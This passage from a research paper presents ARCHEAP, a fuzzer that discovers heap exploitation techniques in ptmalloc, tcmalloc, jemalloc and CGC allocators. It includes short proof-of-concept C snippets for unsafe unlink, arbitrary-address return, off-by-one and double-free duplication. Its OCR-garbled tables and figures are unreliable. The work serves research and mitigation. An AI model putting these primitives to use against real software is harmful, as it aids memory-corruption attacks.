heap pointer from the heap container. To ensure that this does
not trigger a double free bug, which will be emulated in the
subsequent bug invocation action, ARCHEAP checks an object’s
status. If ARCHEAP chooses an already freed pointer, it simply
ignores the deallocation action to avoid the bug.

Heap & Buffer write. To overcome limitations of fuzzing,
ARCHEAP profits from common designs of heap allocators. To
find an exploit technique, ARCHEAP needs to write accurate
data in order to either heap or a controllable region (i.e., the
global buffer in ARCHEAP), but such a task is difficult for
classical fuzzing. Thus, ARCHEAP exploits the in-place and
cardinal data of allocators (see, §II-A) to prune its search
space by limiting locations and data range, respectively. In
more detail, ARCHEAP writes only eight-word values from
the start or the end of an object since a heap allocator stores
its metadata near boundary for locality (in-place metadata).
Further, ARCHEAP generates random values (see, Table VI)
that can be used for sizes or pointers in an allocator instead
of fully random ones (cardinal data).

To explore various exploit techniques, ARCHEAP introduces
systematic noises to generated values. In particular, ARCHEAP
modifies a value using linear (addition and multiplication) or
shift transformation (addition only) according to the type of
a value. For example, linear transformation is prohibited to
a pointer type since multiplying a constant to a pointer is
meaningless. Moreover, ARCHEAP considers the alignment of
pointer-type values to further reduce its search space. Similar to
deallocation, ARCHEAP writes data only in a valid heap region
(i.e., neither overflow nor underflow) to ensure legitimacy of
this action.

Bug invocation. To explore exploitation techniques,
ARCHEAP needs to conduct buggy actions. Currently,
ARCHEAP handles six bugs that are related to heap: (D
overflow, @) write-after-free, 3) off-by-one overflow, @ off-
by-one NULL overflow, () double free, and (6) arbitrary free.

ARCHEAP performs only one of these bugs for one technique
to limit the power of an adversary. Therefore, if a bug invocation
action is provided that is different from a previously executed
one, ARCHEAP simply ignores it. However, ARCHEAP allows
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6 *F(uintptr t*)(p[1] + 776) 768; @

*= (void*)&p(1]

w // triggering unsafe(fake) via backward consolidation
free(p(2]); ©

- offsetof(struct malloc _chunk, bk)
Discrepency after free() - Restricted write in the heap container

* buf

e | pl0]

pl2]

// assert(p[1]
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pl0] p[2]| buf plO] PIZII buf|

Heap container

2 // == (void*)&p[1] - offsetof(struct malloc_chunk, bk));

Shadow memory Heap container Shadow memory

// writing with p[1]: overwriting p[3] to buf
((uintptr t*)p[1]1)[5] = (uintptr_t)buf; @

L]

‘ |

Global buffer

// p[3] becomes a valid pointer to write..

n // writing with p[3]: overwrite buf[0] with 800
((uintptr_t*)p[3])[0] = 800; ©

9 // assert(buf[@] == 800);

Fig. 4: A PoC code of unsafe unlink found by
ARCHEAP that has been simplified for easier

explanation.

Name  Description Align  Trans Knowledge
I1 Pre-defined constants
12 Offsets between pointers v z+b HA, BA, CA
I3 Random size (binning)
14 Request size of a chunk ax +b
I5 Chunk size of a chunk ax +b
P1 NULL
P2 The buffer address v z+b BA
P3 A heap address v x+b HA
P4 The container address v z+0b CA

I: Integer strategy, P: Pointer strategy HA: Heap address BA: Buffer address
CA: Container address

TABLE VI: Random values generated by ARCHEAP. ARCHEAP has
two types of values: the integer type and the pointer type. ARCHEAP
also defines an alignment requirement and transformation according
to characteristics of each value.

repetitive execution of the same bug to emulate the situation
in which an attacker re-triggers the bug.

ARCHEAP deliberately builds a buggy action to ensure its
occurrence. For overflow and off-by-one-bugs, ARCHEAP uses
the malloc_usable_size API to get the actual heap size to
calculate required size for overflow. This is necessary since
the request size could be smaller than the actual size due
to alignment or the minimum size constraint. Specially for
ptmalloc, ARCHEAP uses a dedicated single-line routine to get
the actual chunk size since ptmalloc’s malloc_usable_size()
is inaccurate under the presence of memory corruption bugs.
Moreover, in the double free and the write-after-free bugs,
ARCHEAP checks whether a target chunk is already freed. If
it is not freed yet, ARCHEAP ignores this buggy action and
waits for the next one.

C. Detecting Exploitation Techniques by Impact

ARCHEAP detects four types of impact of exploitations
that are the building blocks of a full chain exploit: arbitrary-
chunk, overlapping-chunk, arbitrary-write and restricted-write.
This approach has two benefits, namely, expressiveness and
performance. These types are useful in developing control-
hijacking, the ultimate goal of an attacker. Thus, all existing

Divergence after heap write - Arbitrary write in the heap container

Shadow memory Global buffer Shadow memory

Divergence after heap write - Arbitrary write in the global buffer

Fig. 5: Shadow memory states in Figure 4. Black circles in left top corner represent
locations in the code of states. Gray-color boxes show divergence between original
memory and its shadow memory. Using this information, ARCHEAP can detect
exploitation techniques.

techniques lead to one of these types, i.e., can be represented
by these types. Also, it causes small performance overheads
to detect of the existence of these types with a simple data
structure shadowing the heap space.

D To detect arbitrary-chunk and overlapping-chunk,
ARCHEAP determines any overlapping chunks in each alloca-
tion. To make the check safe, it replicates the address and size
of a chunk right after malloc since it could be corrupted when a
buggy action is executed. Using the stored addresses and sizes,
it can quickly check if a chunk overlaps with its data structure
(arbitrary-chunk) or other chunks (overlapping-chunk).

@ To detect arbitrary-write and restricted-write, ARCHEAP
safely replicates its data structures, heap containers and global
buffers, by using a technique known as shadow memory (see
below). During execution, ARCHEAP synchronizes the state
of the shadow memory whenever it performs an action that
modifies the internal data structures: e.g., allocations for the
heap container and buffer writes for the global buffer. At
the same time, ARCHEAP checks the divergence between
the shadowed memory and the original memory. Due to the
explicit consistency maintained by ARCHEAP, divergence can
only arise from the internal operations of a heap allocator.
Accordingly, the divergence implies that the executed actions
accidentally modified ARCHEAP’s data structures via an
internal operation of the heap allocator. For exploitation, these
actions can be reformulated to modify other sensitive data of
an application.

ARCHEAP’s fuzzing strategies (Table VI) tend to efficient
detection by limiting its analysis scope to the data structures.
In general, a heap exploitation technique can corrupt any data,
leading to scanning of the entire memory space. However,
ARCHEAP is sufficient to check its data structure because the
only valid address from ARCHEAP’s fuzzing is either heap
or its data structures. Thus, a technique found by ARCHEAP
can only modify heap or its data structure. ARCHEAP only
cares about modification in its data structures, but ignores
one in heap because it is hard to distinguish with legitimate



modifications (e.g., by allocation) without a deep understanding
of an allocator.

ARCHEAP distinguishes arbitrary-write from restricted-write
based on the triggering heap actions. If a divergence happens
in allocation or deallocation, it concludes restricted-write,
otherwise, arbitrary-write. The underlying intuition is that
controlling the parameters of the former actions is difficult,
but for the latter ones are not. After detecting divergence,
ARCHEAP copies the original memory to its shadow to stop
repeated detections.

Shadow memory. Figure 5 shows the state of the shadow
memory when executing Figure 4. @ After the first allocation,
ARCHEAP updates its heap container and corresponding
shadow memory to maintain their consistency, which might be
affected by the action. @ It performs two more allocations so
updates the heap container and shadow memory accordingly.
@ After deallocation, p[1] is changed into * due to unlink()
in ptmalloc (Figure 2a). At this point, ARCHEAP detects
divergence of the shadow memory from the original heap
container. Since this divergence happens during deallocation,
the impact of exploitation is limited to restricted writes in the
heap container. O 1n this case, since the heap write causes the
divergence, the actions can trigger arbitrary writes in the heap
container. @ Since this heap write introduces divergence in
the global buffer, the actions can lead to arbitrary write in the
global buffer.

D. Generating PoC via Delta-Debugging

To find the root cause of exploitation, ARCHEAP refines
the test cases by using delta-debugging [72]. The algorithm
is simple in concept: for each action, ARCHEAP reevaluates
the impact of exploitation of the test cases without it. If the
impacts of the original and new test cases are equal, then it
considers the excluded action redundant (i.e., no meaningful
effect to the exploitation). The intuition behind this decision
is that many actions are independent (e.g., buffer writes and
heap writes) so that the delta-debugging can clearly separate
non-essential actions from the test case. Our current algorithm
is limited to evaluating one individual action at a time. It can
be easily extended to check the impact of a sequence or a
combination of heap actions together, but our evaluation shows
that the current minimization scheme using single actions is
effective enough for practical uses—it eliminates 84.3% of
non-essential actions on average (see, §VII-C).

Once minimized, it is trivial to convert the encoded test case
to a human-understandable PoC, e.g., an allocation action —
malloc(). We showcase the generated PoCs for newly found
exploitation primitives in §A.

V. IMPLEMENTATION

We extended American Fuzzy Lop (AFL) to generate pseudo-
random inputs and drive our action generator that converts
the generated inputs to heap actions. The generator sends a
user-defined signal, SIGUSR2, if it finds actions that result
in an impact of exploitation. We also modified AFL to save
crashes only when it gets SIGUSR2 and ignores other signals
(e.g., segmentation fault), which are not interesting in finding

Algorithm 1: Minimize actions that result in an impact of
exploitation

Input :actions — actions that result in an impact
1 origImpact < GetImpact(actions)
2 minActions < actions
3 for action € actions do
tempActions < minActions — action
tempImpact = GetImpact(tempActions)
if origlmpact = tempImpact then
‘ minActions < tempActions
end
end
Output : minActions — minimized actions that result in
the same impact

4
5
6
7
8
9

techniques. We carefully implemented the generator not to call
heap APIs implicitly except for the pre-defined actions for
reproducing the actions. For example, the generator uses the
standard error for its logging instead of standard out, which
calls malloc internally for buffering. To prevent the accidental
corruption of internal data structures, the generator allocates
its data structures in random addresses. Thus, the bug actions
such as overflow cannot modify the data structures since they
will not be adjacent to heap chunks.

VI. CASE STUDY: UNDERSTANDING HEAP EXPLOITATION
A. Discovering New Heap Exploitation Techniques

This section discusses the newly discovered exploitation
techniques against ptmalloc. The PoC codes are listed in §A.

Unsorted bin into stack (UBS). This technique overwrites
the unsorted bin to link a fake chunk so that it can return the
address of the fake chunk (i.e., an arbitrary chunk). This is
similar to house of lore [11], which corrupts a small bin to
achieve the same attack goal. However, the unsorted bin into
stack technique requires only one allocation, unlike house of
lore requires two different allocations, to move a chunk into a
small bin list. This technique has been added to a community
repository that collects heap exploitation techniques [57].

House of unsorted einherjar (HUE). This is a variant of
house of einherjar, which uses an off-by-one NULL byte
overflow and returns an arbitrary chunk. In house of einherjar,
attackers should have prior knowledge of a heap address, i.e.,
attackers should leak a heap pointer to break ASLR. However,
in house of unsorted einherjar, attackers can achieve the same
effect without this pre-condition. We named this technique,
house of unsorted einherjar, as it interestingly combines two
techniques, house of einherjar and unsorted bin into stack, to
relax the requirement of the well-known exploitation technique.
Unaligned double free (UFF). This is a unconventional
technique that abuses double free of a small chunk, which
is typically considered a weak attack surface thanks to its
comprehensive security checks. To avoid security checks, a
victim chunk for double free should have proper metadata
and trick the next chunk under use (i.e., PREV_IN_USE — one).
Since the double free bug doesn’t allow arbitrary modification



of its own or the next chunk’s metadata, existing techniques
only abuse a fast bin or tcache, which has weaker security
checks than a small bin (e.g., fast-bin-dup in Table V)

Interestingly, unaligned double free bypasses these security
checks by abusing the implicit behaviors of malloc(). First, it
reuses the old metadata in a chunk since malloc() does not
initialize memory by default. Second, it fills freed space before
the next chunk to make PREV_IN_USE of the chunk to one. As a
result, the technique can bypass all security checks in free(Q),
and can successfully craft a new chunk that overlaps with the
old one.

Overlapping chunks using a small bin (OCS). This is a
variant of overlapping-chunks (OC) that abuses the unsorted
bin to generate an overlapping chunk but this techniques crafts
the size of a chunk in a small bin. Unlike OC, it requires more
actions — three more malloc() and one more free()— but
doesn’t require attackers to control the allocation size. When
attackers cannot invoke malloc() with an arbitrary size, this
technique can be effective in crafting an overlapping chunk
for exploitation.

Fast bin into other bin (FDO). This is another interesting
technique that allows attackers to return an arbitrary address: it
abuses consolidation to convert the type of a victim chunk from
the fast bin to another type. First, it corrupts a fast bin free list
to insert a fake chunk. Then, it calls malloc_consolidate()
to move the fake chunk into the unsorted bin during the
deallocation process. Unlike other techniques related to the
fast bin, this fake chunk does not have to be in the fast bin.

B. Exploring Different Types of Heap Allocators

We also applied ARCHEAP to two widely-used heap al-
locators, tcmalloc and jemalloc by Google and FreeBSD,
respectively. Applying ARCHEAP to other allocators was trivial;
we just modified a compiler flag to use a new allocator other
than the default, ptmalloc. After 24 hours of evaluation, it found
four exploitation techniques: three for tcmalloc and one for
jemalloc. We note that the number of exploitation techniques
in different implementations does not imply their security at
all. For example, we found only one jemalloc exploitation
technique due to its absence of in-place metadata. However,
jemalloc could be more vulnerable than ptmalloc on adjacent
region overwrites. In the following, we discuss each techniques
ARCHEAP found (each PoC can be found in §A).

tcmalloc: arbitrary address return. This technique allows
an attacker to return an arbitrary chunk in tcmalloc. It maintains
a free list for each bin, which stores its head in a static variable
and its chunks in heap. Thus, if we corrupt a freed chunk in
heap, allocations will remove a chunk from list and set the
list head, finally leading to modifying the head. Then, the next
allocation will return a corrupted memory address, which is
controlled by attackers. Due to the similarity between the free
list of tcmalloc and the fast bin of ptmalloc, this attack is
analogous to fast-bin-dup in ptmalloc.

tcmalloc: memory duplication using off-by-one. This tech-
nique allows attackers to trick the allocator to return the same
chunk two times (i.e., overlapping chunks) by exploiting an off-
by-one vulnerability. It only overwrites a low byte of a freed
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TABLE VII: Exploitation techniques found by ARCHEAP in custom
allocators of CGC. Except for NRFIN_00007 that implements the page
heap, ARCHEAP successfully found exploitation techniques.

chunk in heap to return the same memory as before. Unlike
ptmalloc, which has the size right after the chunk, tcmalloc
has the freed chunk pointer. Therefore, the off-by-one bug can
partially overwrite the chunk. By overwriting the lowest byte
of the pointer, attackers can duplicate or further overlap with
existing chunks.

tcmalloc, jemalloc: memory duplication using double free.
This technique allows memory duplication in jemalloc and
tcmalloc by abusing a double free bug. Unlike ptmalloc,
since jemalloc and tcmalloc do not have security checks for
freed chunks, attackers can easily trigger traditional double
free exploits to duplicate consecutive allocations, which are
considered obsolete in ptmalloc.

C. Evaluating Security of Custom Allocators

We applied ARCHEAP to all custom heap allocators im-
plemented for the DARPA CGC competition—since many
challenges share the implementation, we selected nine unique
heap allocators for our evaluation (see, Table VII). We
implemented a missing API (i.e., malloc_usable_size()) to
get the size of allocated objects, and ran the experiment for
24 hours for each heap allocators.

ARCHEAP found exploitation primitives for all of the
tested allocators, except for NRFIN_00007, which places each
object per page without having any in-place metadata. Such
a page-based heap allocator looks secure in terms of heap
metadata corruption, but it is not practical for its memory
overheads, incurring high memory usage and causing internal
fragmentation. This experiment indicates that the common heap
designs ARCHEAP relies on are indeed universal in modern
and custom heap allocators (§II-A).

One interesting thing is that ARCHEAP found exploitation
techniques for NRFIN_00032 that implements a heap cookie to
prevent heap overflows. Although the cookie-based protection is
not bypassible via heap metadata corruption, ARCHEAP found
that the implementation is vulnerable to an integer overflow.
With the integer overflow, ARCHEAP could craft two memory
blocks overlapping without corrupting the heap cookie by
allocating an object with a proper, negative size.

Another interesting result is that ARCHEAP automati-
cally found the buggy implementation of the allocator of
CROMU_00004. When picking a chunk for the next use, an
allocator skips a chunk that is in-use and its size is less than the
request size. However, the allocator should skip a chunk that
satisfies either one of these two conditions. Therefore, when
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allocating two chunks consecutively in which the second size
is less than the first one, the allocator responds to the second
request with the first, in-use chunk, i.e., results in overlapping
chunks. ARCHEAP successfully generated a PoC code that
exploits this buggy implementation.

D. Studying Evolution of Security Features

We applied ARCHEAP to four versions of ptmalloc dis-
tributed in Ubuntu LTS: precise (12.04, libc 2.15), trusty
(14.04, libc 2.19), xenial (16.04, libc 2.23), and bionic
(18.04, libc 2.27). In trusty and xenial, a new security
check, SP2, checking the integrity of size metadata (refer
Table IV), is backported by the Ubuntu maintainers. To compare
each version, we perform differential testing: we first apply
ARCHEAP to each version and generate PoCs and then validate
the generated PoCs against other versions. (see Figure 6).

We identified three interesting trends that cannot be easily
obtained without ARCHEAP’s automation. First, a new security
check, in particular SP2, successfully mitigates a few exploita-
tion techniques found in an old version of ptmalloc: likely, the
libc maintainer reacts to a new, popular exploitation technique.
Second, an internal design change in bionic rendered the
most PoCs generated from previous versions ineffective. This
indicates the subtleties of the generated PoCs, requiring
precise parameters and the orders of API calls for successful
exploitation. However, this does not particularly mean that a
new version, bionic, is secure; the new component, tcache,
indeed makes exploitation much easier, as Figure 6 shows.
Third, this new component, tcache, which is designed to
improve the performance [19], weakens the security of the heap
allocators, not just making it easy to attack but also introducing
new exploitation techniques. This is similarly observed by other
researchers and communities [21, 39].

VII. EVALUATION

This section tries to answer the following questions:

1) How effective is ARCHEAP in finding exploitation tech-
niques compared to the state-of-the-art technique?

2) How exhaustively can ARCHEAP explore the security-
critical state space?

3) How effective is delta-debugging in minimizing heap
actions?

Evaluation setup. We conducted all the experiments on Intel
Xeon E7-4820 with 256 GB RAM. We used 256 random bytes
as a seed that is used to indicate a starting point of the state
exploration, and ran each experiment three times (24 x 3 hours)
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to reduce statistical variance. Selecting a seed in ARCHEAP is
not critical in discovering new exploit techniques as it tends
to converge during the state exploration.

A. Comparison to HeapHopper

HeapHopper [21] was recently proposed to analyze exploita-
tion techniques by using symbolic execution. To overcome
the state explosion in symbolic execution, HeapHopper tightly
encodes the prior knowledge of exploit techniques into its
models, e.g., the number of fransactions (i.e., equivalent
to non-write actions in ARCHEAP), allocation sizes (i.e.,
guiding the use of specific bins), and even a certain order
of transactions (i.e., a sequence of non-write actions). By
relying on this model, it could incrementally perform the
symbolic execution for all permutations of transactions in order.
Unfortunately, its key idea—guiding the state exploration with
detailed models— limits its capability only to validate known
exploitation techniques, unlike our approach can find unknown
techniques with fuzzing.

We performed three experiments that objectively com-
pare both approaches: @ finding unknown techniques with
no exploit-specific model (i.e., applying HeapHopper to
ARCHEAP’s task), @ finding known techniques with partly
specified models (i.e., evaluating the roles of specified models in
each approach), and @ finding known techniques with exploit-
specific models (i.e., applying ARCHEAP to HeapHopper’s
task). In the experiments, we considered variants of exploit tech-
niques' as a equal class since both systems cannot distinguish
their subtle differences. We ran each experiment three times
with 24-hour timeout for proper statistical comparison [43].

@ New techniques. We first check if HeapHopper’s approach
can be used to find previously unknown exploitation techniques
that ARCHEAP found (see, §VI-A). To apply HeapHopper, we
provided relaxed models that specify all boundary sizes for all
bins but limit the number of transactions following our PoCs
as shown in Table VIII. Note that, in theory, such relaxation
is general enough to discover new techniques given infinite
amount of computing resources. In the experiment, FDO is
excluded because its model is a superset of FD; having FDO
simply makes ARCHEAP and HeapHopper converged to FD.
HeapHopper fails to identify all unknown exploitation primi-
tives with no exploit-specific models (see Table VIII). In fact, it
encounters a few fundamental problems of symbolic execution:
1) exponentially growing permutations of transactions and
2) huge search spaces in selecting proper size parameters to
trigger exploitation. Although HeapHopper demonstrated a
successful state exploration of seven transactions with three
size parameters (§7.1 in [21]), the search space required for
discovering unknown techniques are much larger, rendering
HeapHopper’s approach computationally infeasible. On the
contrary, ARCHEAP successfully explores the search space by
using the random strategies, and indeed discovers unknown
techniques, showing the practicality of our approach.

@ Known techniques with partly specified models. We
evaluated how specified, exploit-specific models play a role for

'Exploit techniques often have the same prerequisite but different root
causes such as UBS and HL.



© New techniques

Name Bug Impact Chunks # Txn ARCHEAP HeapHopper
TFO 4 o TFO po Name Bug Impact Chunks # Txn Size TxnList (A list of transactions)
FDO WF AC  Fast, Large - FD WF AC Fast 8 (8} M-M-F-WE-M-M
UBS WF AC  Small 6 31 0 0 202m 5m 0 0 3 oo - gg 2# Q\é’,RW ISFmall Z %5}51 IXII;I\I’{/’IOPF
HUE Ol AC Small 9 28 0 1 144h 891 0 0 3 - ast -
0CS OV OC  Smal o 300 173 12500 3 oo - PN OIN OC  Small 12 {128256,512) M-M-M-F-OIN-M-M-F-F-M
UFF FF OC  Small 9 300 1995 525 0 0 3 oo - HL ~ WF AC Small 9 {100,1000} ~ M-M-E-M-WF-M-M
oC 01 oOC Small 8 {120,248,376) M-M-M-F-O1-M
Found 110 1 =#4 00 12 = #0 UB WF AWRW Small 7 {400} M-M-F-WF-M
HE Ol AC Small 7 (56,248,512} M-M-O1-F-M

T: True positives, F: False positives, O: Timeout, p: Average time,

o: Standard deviation of time

TABLE VIII: The number of discovered new exploitation
techniques — the number after hash (#) sign, elapsed time and
corresponding models. Briefly, ARCHEAP discovered all four
techniques, but HeapHopper failed to. We omitted FDO that has
a superset model of FD, therefore, becomes indistinguishable
to FD (see, Table 1X).

@ Known techniques with partly specified models

# Txn: The number of transactions, M: malloc, F: free

TABLE IX: Exploit-specific models for known techniques from HeapHop-
per. It is worth to note that results of variants (i.e., techniques have same
prerequisites, but different root causes) are identical for ARCHEAP with
no specific model (marked with { and 1 in Table VIII and Table X) since
ARCHEAP neglects the number of transactions (i.e., # Txn).

© Known techniques with exploit-specific models.

Bug+Impact+Chunks +Size +TxnList +Size, TxnList

Name ARCHEAP HeapHopper ARCHEAP HeapHopper ARCHEAP HeapHopper ARCHEAP HeapHopper

T F o c TFO pu o TF i c TFO pu c T FO m o TFO pu o TFO pu o TFO pu o
FD 3 00 27m 12m 3 0 0 38m 03s 3 0 0 571s 271s 3 0 0 38m 09 3 0 0 142m 43m 3 0 0 107m 2Im 3 0 0 102m 72m 3 0 0 235s 0.2s
UU 3 0 0 579m 404m 0 0 3 oo - 300 16h I1.1h 00 3 oo - 003 o - 030 32h 263m 0 0 3 oo - 03 0 82h 13m
HS 3 00 27m 5975 3 0 0 3145 02s 3 0 0 93m 6.Im 3 0 O 31.1s 02s 0 0 3 oo - 300 565 08 0 03 oo - 3 0 0 28.6s 0.2s
PN 3 0 0 133m 244s 0 0 3 oo - 3 00 161m 149m 0 0 3 oo - 300 16h 5m 0 0 3 oo - 300 2m 126m 3 0 0 43m 1.6s
HL 37 0 0 202m 5m 00 3 oo - 3 00 12m 4735 0 0 3 o0 2 0 1 132h 85h 0 0 3 oo - 300 2lm 94m 2 1 0 22m 82s
oC 3 00 71s 59 00 3 oo - 300 205 53 00 3 oo - 300 6s 24s 3 0 0 22.1h 332m 3 0 O 266s 34s 3 0 0 3.2m 2s
UB 3 00 368 228 3 0 0 218 025 3 0 0 47s 31s 3 0 0 2195 03s 3 0 0 248 1495 3 0 0 476s 03s 3 0 0 126s 95 3 0 0 1955 0.7s
HE 2% 0 1 144h 8% 00 3 oo - 201 93 104h 0 0 3 o0 00 3 o 003 oo - 003 oo - 0 3 0 68m 64s
Found 23 0 1 = #8 9015 =4#3 230 1 =#8 9015 =4#3 14 0 10 = #5 1239 =#4 1509 =#5 177 0 = #6

TABLE X: The number of discovered known exploitation techniques and elapsed time for discovery in ARCHEAP and HeapHopper with
various models. In summary, ARCHEAP outperforms HeapHopper with no or partly specified models, e.g., ARCHEAP found five more
techniques with no specific model (Bug+Impact+Chunks). Even though HeapHopper found one more technique than ARCHEAP if exploit-specific
models are available, it suffers from false positives (marked with gray color).

both approaches. In particular, we tested both systems with the
exploit-specific models, namely, the size parameters (+Size)
and a sequence of transactions (+TxnList), used in HeapHopper
(see, Table IX). To prevent each systems from converging to
easy-to-find techniques, we tested each model on top of the
baseline heap model (i.e., Bug+Impact+Chunks).

This experiment (i.e., @ in Table X) shows that ARCHEAP
performs better than HeapHopper with no or partly specified
models: ARCHEAP found five more known techniques than
HeapHopper in Bug+Impact+Chunks and +Size. We observed
two interesting behaviors of ARCHEAP. First, when addi-
tional information is provided (i.e., guided), we expected
that ARCHEAP would detect target exploitation techniques
quicker (e.g., 20.2—1.2m in HL with +Size), but often slower
(e.g., 2.7—9.3m in HS with +Size). Such behaviors indicate
that additional information tends to misguide ARCHEAP;
perhaps, forcing it to explore the unlikely state space. Second,
unlike ARCHEAP, HeapHopper behaves better with exploit-
specific models: finding one more techniques when +TxnList
is provided with Bug+Impact+Chunks. This result shows that a
precise model plays an essential role in symbolic execution.
In brief, ARCHEAP’s is particularly preferable when exploring
unknown search space, but similarly effective when exploring
with the partly specified model.
©® Known techniques with exploit-specific models When
both +Size and +TxnList are provided, HeapHopper’s approach
works better: it found one more known technique and found
four techniques quicker than ARCHEAP (as illustrated in
© in Table X). This indicates the importance of accurate
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model for the symbolic execution in effectively reducing
the search space. We observed one interesting behavior of
HeapHopper in this experiment. With more exploit models
specified, HeapHopper tends to suffer from false positives
(i.e., incorrectly claiming the discovery of exploit techniques)
because of its internal complexity—we confirmed these false
positives with HeapHopper’s authors. In specific, HeapHopper
failed to find UU and UE because of the complicated analysis
of underlying framework, angr [59], as noted in the paper [21].
On the contrary, ARCHEAP’s approach does not introduce false
positive thanks to its comprehensive detection method using
shadow memory.

This experiment also highlights an interesting design deci-
sion of ARCHEAP: separating the exploration and reducing
phases (i.e., minimization). With no exploit-specific guidance,
ARCHEAP can freely explore the search space, and so increase
the probability of satisfying the precondition of certain exploita-
tion techniques. For example, if the sequence of transactions
of UU (M-M-O1-F) is enforced, ARCHEAP should craft a
fake chunk within a relatively small period (i.e., between four
actions) to trigger the exploit; otherwise, ARCHEAP has a
higher probability to formulate a fake chunk by executing
more, perhaps redundant actions. However, such redundancy is
acceptable in ARCHEAP thanks to our minimization phase that
effectively reduce inessential actions from the found exploit.

We also confirmed that ARCHEAP can find all tcache-related
techniques [39] and house-of-force, which HeapHopper fails to
find, because an arbitrary size allocation is required. ARCHEAP
can find these techniques within a few minutes as they require



. Raw Minimized

Version

Mean  Std. dev Mean  Std. dev

2.15 112.6 161 259 (-77.0 %) 25.3

2.19 110.8 145 233 (-79.0 %) 4.6

2.23 98.3 120 225 (-77.1 %) 6.2

2.27 344.2 177 33 (-90.4 %) 8.8

Average  166.5 150.8  26.2 (-84.3 %) 11.2

TABLE XI: Average and standard derivation of lines of raw and
minimized PoCs using delta debugging. It shows that the delta
debugging successfully removes 84.3% of redundant actions.

less than five transactions.

B. Security Check Coverage

To show how exhaustively ARCHEAP explore the security-
sensitive part of the state space, we counted the number
of security checks executed by ARCHEAP. In 24 hours of
exploration, ARCHEAP executed 18 out of 21 security checks
of ptmalloc: it failed to cover D2, D4 and SP5 in Table IV. We
note that SP5 is related to a concurrency bug, which is outside
of the scope of this work. D1 and D4 require a strict relationship
between large chunks (e.g., the sizes of two chunks are not
equal but less than the minimum size), which is probably too
stringent for any randomization-based strategies.

C. Delta-Debugging-Based Minimization

The minimization techniques based on delta-debugging is
effective in simplifying the generated PoCs for further analysis.
It effectively reduces 84.3% redundant actions from original
PoCs (refer §VI-D) and emits small PoCs that contain 26.1
lines on average (see, Table XI). Although our minimization
is preliminary (i.e., eliminating one independent action per
testing), the final PoC is sufficiently small for manual analysis.

VIII. DISCUSSION AND LIMITATIONS

Completeness. ARCHEAP is fundamentally incomplete due
to its random nature, so it is not at all surprising if someone
discover other heap exploitation techniques. HeapHopper, on
the other hand, is complete in terms of given models: i.e.,
exploring all combinations of transactions given the length
of transactions. Since their models are incomplete (or often
error-prone), the proper use of each approach is dependent
on the target use cases. For example, if one is looking for
a practical solution, ARCHEAP would be a more preferable
platform to start with.

Overfitting to fuzzing strategies. ARCHEAP builds upon
an intuition in which modern heap allocators follow common
design idioms: binning, in-place metadata and cardinal data.
This helps ARCHEAP in reducing its search space but might
cause an overfitting problem: the discovered exploit techniques
are too specific to certain designs of heap allocators. To
apply ARCHEAP to non-conventional implementation of heap
allocators, one might have to devise own models for proper
space reduction.

Enhancing mitigation. ARCHEAP can also be used to
improve the countermeasures of heap allocators. For example,
the generated PoCs for each security check (§VII-B) can be
used for unit testing, and the PoCs for each exploit techniques
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(§VI-D) can be used for regression test cases. Also, thanks
to ARCHEAP’s automatic nature, developers can use it to find
potential security issues of own changes: e.g., ARCHEAP would
automatically mark tcache a red flag if run before the release.

IX. RELATED WORK

Automatic exploit generation (AEG). Automatic discovery
of heap exploit techniques is a small step toward AEG’s ambi-
tious vision [10, 14], but it is worth emphasizing its importance
and difficulty. Despite several attempts to accomplish fully
automated exploit generation [10, 14, 15, 36, 47, 55, 56, 66],
AEG, particularly for heap vulnerabilities, is so sophisticated
and difficult that all the state-of-the-art cyber reasoning systems
from DARPA CGC, (i.e., systems finding and exploiting
vulnerabilities automatically [24, 33, 58, 63]), failed to address;
according to organizers, only a single heap vulnerability was
successfully exploited in the CGC final event. Recently, Repel
et al. [55] proposes a symbolic-execution-based approach
aiming at AEG for heap vulnerabilities, but only works for
old allocators without security checks. Heelan et al. [36]
demonstrates an automatic method to find an object layout for
exploitation specific to an application. Unlike the prior work,
ARCHEAP focuses on finding heap exploitation techniques,
which are re-usable across applications, in modern allocators
with full security checks.

Fuzzing beyond crashes. There has been a large body
of attempts to extend fuzzing to find bugs beyond mem-
ory safety [32, 71]. They often use a differential testing,
which we used for minimization, to find semantic bugs:
e.g., compilers [69], cryptographic libraries [13, 51], JVM
implementations [18] and learning systems [49]. Recently,
SlowFuzz [52] uses fuzzing to find algorithmic complexity
bugs, and IMF [65] to spot similar code in binary.

Application-aware fuzzing. Application-aware fuzzing is
one of the attempts to reduce the search space of fuzzing.
In this regard, there have been attempts to use static and
dynamic analysis [17, 46, 50, 54], bug descriptions [70],
and real-world applications [16, 35, 42] to extract target-
specific information for fuzzing. Moreover, to reduce the
search space for applications that require well-formed inputs,
researchers have embedded domain-specific knowledge such
as grammar [37, 64, 69] or structure [13, 51] in their fuzzing.
Similar to these works, ARCHEAP reduces its search space
by considering its targets and memory allocators, particularly
exploiting their common designs.

X. CONCLUSION

In this paper, we present ARCHEAP, a new approach
using fuzzing to automatically discover new heap exploitation
techniques. Two key enablers of ARCHEAP’s approach are
to reduce the search space of fuzzing by abstracting the
common design of modern heap allocators, and to devise a
method to quickly estimate the possibility of heap exploitation.
Our evaluation with three real-world and a few custom heap
allocators shows that ARCHEAP’s approach can effectively
formulate new exploitation primitives regardless of their
underlying implementation.
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APPENDIX

// [PRE-CONDITION]

// sz : any size

// [BUG] buffer overflow

// [POST-CONDITION]

// malloc(sz) == dst

void* p = malloc(sz);

// [BUG] overflowing p

// tcmalloc has a next chunk address at the end of a chunk
*(void**) (p + malloc_usable_size(p)) = dst;

// this malloc changes a next chunk address into dst
malloc(sz);

assert(malloc(sz) == dst);

(a) An exploitation technique for tcmalloc returning an arbitrary
address that was found by ARCHEAP.

// [PRE-CONDITION]

// sz : any size < 0x100

// [BUG] off-by-one null overflow

// [POST-CONDITION]

// malloc(sz) == already allocated one
void* p = malloc(sz);

// p’s lowest byte is zero in tcmalloc
assert((intptr_t)p & Oxff == 0);

// [BUG] off-by-one-null overflow

// it clears a lowest byte of a next chunk address
// to make the next chunk same with ’p’
*(char*) (p + malloc_usable_size(p)) = 0;
// it updates the next chunk address == ’p’
malloc(sz);

assert(p == malloc(sz));

(b) An exploitation technique for tcmalloc returning duplicate
addresses using off-by-one bug that was found by ARCHEAP.

// [PRE-CONDITION]

// sz : any size

// [BUG] double free

// [POST-CONDITION]

// malloc(sz) == malloc(sz)
void* p = malloc(sz);

free(p);

// [BUG] free ’p’ again
// this is allowed due to lack of security checks
free(p);

assert(malloc(sz) == malloc(sz));

(c) An exploitation technique for tcmalloc and jemalloc triggering
double free that was found by ARCHEAP.

